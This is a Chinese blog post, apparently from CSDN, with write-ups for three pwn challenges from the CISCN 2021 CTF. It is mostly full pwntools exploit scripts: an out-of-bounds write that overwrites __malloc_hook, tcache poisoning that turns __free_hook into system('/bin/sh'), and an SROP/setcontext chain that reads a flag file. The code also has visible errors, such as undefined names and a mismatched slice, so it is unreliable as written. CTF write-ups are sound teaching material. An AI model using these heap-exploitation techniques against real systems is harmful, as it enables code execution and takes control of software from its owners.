ciscn2021CTF国赛pwn解

29 篇文章 0 订阅

CTF 2021-05-18

总结:这次pwn的比赛难易程度尚可,菜菜的我在各位师傅的领导下勉勉强强做出了3道pwn,这三道pwn都不算太难,一道越界,越界pwny这道题确实把我搞吐了,后期卡在了ret的与数组的偏移,这个不会计算,在th1un师傅的领导下,才知道了如何计算,勉强做出来了,值得说的是数组越界在2021年比赛中出现的越来越频繁了,是真的频繁了,第二道pwn是一个堆,只不过index受到了限制,既然index受到了限制并不影响我们在同一个index构造多个chunk,所以这个题也是常规操作,对edit并没有要求那么严格,free掉直接写就可以了,第三道pwn,开启了沙盒,直接orw就可以了,只不过每个chunk限制在了0x78内,而orw和frame长度都超过了0x78,所以按照网上师傅的orw写法,采用分段写法即可
一、pwny这里采用scanf来触发malloc_hook,算好偏移,直接触发即可
exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh=process('./pwny')
elf=ELF('./pwny')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#context.log_level='debug'
sh.recvuntil('Your choice: ')
sh.sendline('2')
sh.sendline('256')
sh.sendline('2')
sh.sendline('256')
print str(proc.pidof(sh))
sh.sendline('1')
sh.send(p64(0xfffffffffffffffc))
sh.recvuntil('Result: ')
leak_addr=sh.recv(12)
leak_addr='0x'+leak_addr
print leak_addr
leak_addr=int(leak_addr, 16)
log.success('leak addr: '+hex(leak_addr))
libc_base=leak_addr-libc.sym['_IO_2_1_stderr_']
log.success('libc base: '+hex(libc_base))
sh.sendline('1')
sh.sendline(p64(0xfffffffffffffff5))
sh.recvuntil('Result: ')
pie_base=sh.recv(12)
pie_base='0x'+pie_base
pie_base=int(pie_base, 16)-0x202008
log.success('pie base: '+hex(pie_base))
all_base=libc_base-pie_base
log.success('base betweeen libc and pie: '+hex(all_base))
rce=libc_base+0x4f365
exit_hook=libc_base+0x619060+3840
evi=libc_base+libc.sym['environ']
def baopo1():
    sh.sendlineafter('choice: ','2')
    sh.sendlineafter('Index: ','-4')
    sh.sendline(p64(exit_hook))
def baopo2():
    sh.sendlineafter('choice: ','2')
    sh.sendlineafter('Index: ','-4')
    sh.sendline(p64(rce))
#sh.sendlineafter('choice: ','2')
#sh.sendlineafter('Index: ','-4')
#sh.sendline(p64(evi))
#sh.sendlineafter('choice: ','1')
#sh.sendlineafter('Index: ',p64(0xfffffffffffffffc))
sh.sendlineafter('choice: ','1')
sh.sendlineafter('Index: ',p64(((libc_base+libc.sym['__environ'])-(pie_base+0x202060))/8))
sh.recvuntil('Result: ')
stack_addr=int('0x'+sh.recv(12),16)
ret_addr=stack_addr+0x120
malloc_hook=libc_base+libc.sym['__malloc_hook']
print hex(malloc_hook)
ret_offset=(malloc_hook-pie_base+0x202060)/8
sh.sendlineafter('choice: ','2')
sh.sendlineafter('Index: ',str(ret_offset))
sh.sendline(p64(libc_base+0x10a45c))
sh.sendlineafter('choice: ','1'*0x600)
 
sh.interactive()

二、lonelwolf 正如前面总结所说,限制了index,但这并不影响我们利用直接打就可以了
exp:

from pwn import *
context.log_level = 'debug'
p = process("./lonelywolf")
#p=remote('124.71.229.73',22968)
elf = ELF("./lonelywolf")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(size):
    p.sendlineafter("Your choice: ", "1")
    p.sendlineafter("Index: ", "0")
    p.sendlineafter("Size: ", str(size))
def edit(data):
    p.sendlineafter("Your choice: ","2")
    p.sendlineafter("Index: ", "0")
    p.sendlineafter("Content: ", data)
 
def show():
    p.sendlineafter("Your choice: ","3")
    p.sendlineafter("Index: ","0")
def free():
    p.sendlineafter("Your choice: ","4")
    p.sendlineafter("Index: ","0") 
add(0x70)
free()
edit(p64(0)+'\n')
free()
show()
p.recvuntil("Content: ")
addr_heap = u64(p.recv(6).ljust(8, '\x00')) - 0x7a0
edit(p64(addr_heap + 0x250))
add(0x70)
add(0x70)
edit(p64(0) + p64(0x461))
add(0x70)
delete()
edit(p64(0)+'\n')
free()
edit(p64(addr_heap + 0x260))
add(0x70)
add(0x70)
gdb.attach(p)
edit(p64(0)+'\n')
free()
show()
p.recvuntil("Content: ")
libc_base = u64(p.recv(6).ljust(8, '\x00')) - libc.sym["__malloc_hook"] - 0x70
add(0x70)
free()
edit(p64(0)+'\n')
free()
free_hook = libc_base + libc.sym["__free_hook"]
edit(p64(free_hook - 0x8))
add(0x70)
add(0x70)
system_addr = libc_base + libc.sym["system"]
payload = "/bin/sh\x00" + p64(system_addr)
edit(payload)
free()

三。silverwolf,这道题考察了srop,由于srop忘的差不多了都,跟着网上一些关于srop教程,硬调出来了
exp:

from pwn import *
context.log_level = 'debug'
context.arch = "amd64"
p = process("./silverwolf")
#p=remote('124.71.229.73',22968)
elf = ELF("./silverwolf")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(size):
    p.sendlineafter("Your choice: ", "1")
    p.sendlineafter("Index: ", "0")
    p.sendlineafter("Size: ", str(size))
    return 
def edit(data):
    p.sendlineafter("Your choice: ","2")
    p.sendlineafter("Index: ", "0")
    p.sendlineafter("Content: ", data)
    return 
def show():
    p.sendlineafter("Your choice: ","3")
    p.sendlineafter("Index: ","0")
    return 
def delete():
    p.sendlineafter("Your choice: ","4")
    p.sendlineafter("Index: ","0")
    return
for i in range(24):
    add(0x61)
for i in range(8):
    add(0x70)
delete()
edit(p64(0)*2)
delete()
show()
p.recvuntil("Content: ")
addr_heap = u64(p.recv(6).ljust(8, '\x00')) - 0x7a0
print hex(addr_heap)
edit(p64(addr_heap+0x250))
add(0x70)
add(0x70)
edit(p64(0) + p64(0x461))
add(0x70)
delete()
edit(p64(0)*2)
delete()
edit(p64(addr_heap+0x260))
add(0x70)
add(0x70)
edit(p64(0)*2)
delete()
show()
p.recvuntil("Content: ")
libc_base = u64(p.recv(6).ljust(8, '\x00'))-0x3ebc40-0x60
setcontext=libc_base+libc.sym['setcontext']+53
free_hook=libc_base+libc.sym['__free_hook']
pop_rax=libc_base+0x0000000000043a78
pop_rdi=libc_base+0x000000000002155f
pop_rsi=libc_base+0x0000000000023e8a
pop_rdx=libc_base+0x0000000000001b96
 
pop_rdx_rsi_ret=libc_base+0x0000000000130889
syscall=libc_base+0x00000000000013c0
ret=libc_base+0x00000000000008aa
add(0x70)
delete()
edit(p64(0)*2)
delete()
edit(p64(free_hook))
add(0x70)
add(0x70)
edit(p64(setcontext))
sigframe = SigreturnFrame()
sigframe.rdi = addr_heap+0xed0+0x70
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rsp = addr_heap + 0xed0
sigframe.rbp = addr_heap + 0xed0
sigframe.rip = libc_base + 0x0000000000054da7 #mov eax,2;ret;
add(0x78)
delete()
edit(p64(0)*2)
delete()
edit(p64(addr_heap+0xcb0))
add(0x78)
add(0x78)
edit(str(sigframe)[:120])
add(0x78)
delete()
edit(p64(0))
delete()
edit(p64(addr_heap+0xcb0+0x78))
add(0x78)
add(0x78)
edit(str(sigframe[120:240]))
rop = p64(0x00000000000d2745+libc_base)
rop += p64(libc_base+0x00000000000215bf) #pop rdi
rop += p64(3)
rop += p64(libc_base+0x0000000000023eea) #pop rsi
rop += p64(heap_addr+0xed0+0x100)
rop += p64(libc_base+0x0000000000001b96) #pop rdx
rop += p64(0x100)
rop += p64(libc.symbols["read"])
rop += p64(libc_base+0x00000000000215bf)
rop += p64(1)
rop += p64(libc.symbols["write"])
rop += (0x70 - len(rop))*"\x00"
rop += "./flag\n"
add(0x78)
delete()
edit(p64(0)*2)
delete()
edit(p64(addr_heap+0xed0))
add(0x78)
add(0x78)
edit(rop)
add(0x78)
delete()
edit(p64(0)*2)
delete()
edit(p64(addr_heap+0xcb0))
add(0x78)
add(0x78)
delete()
p.interactive()

这次国赛的3道pwn题的质量都还可以,学到了不少,加油冲冲冲!!!

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值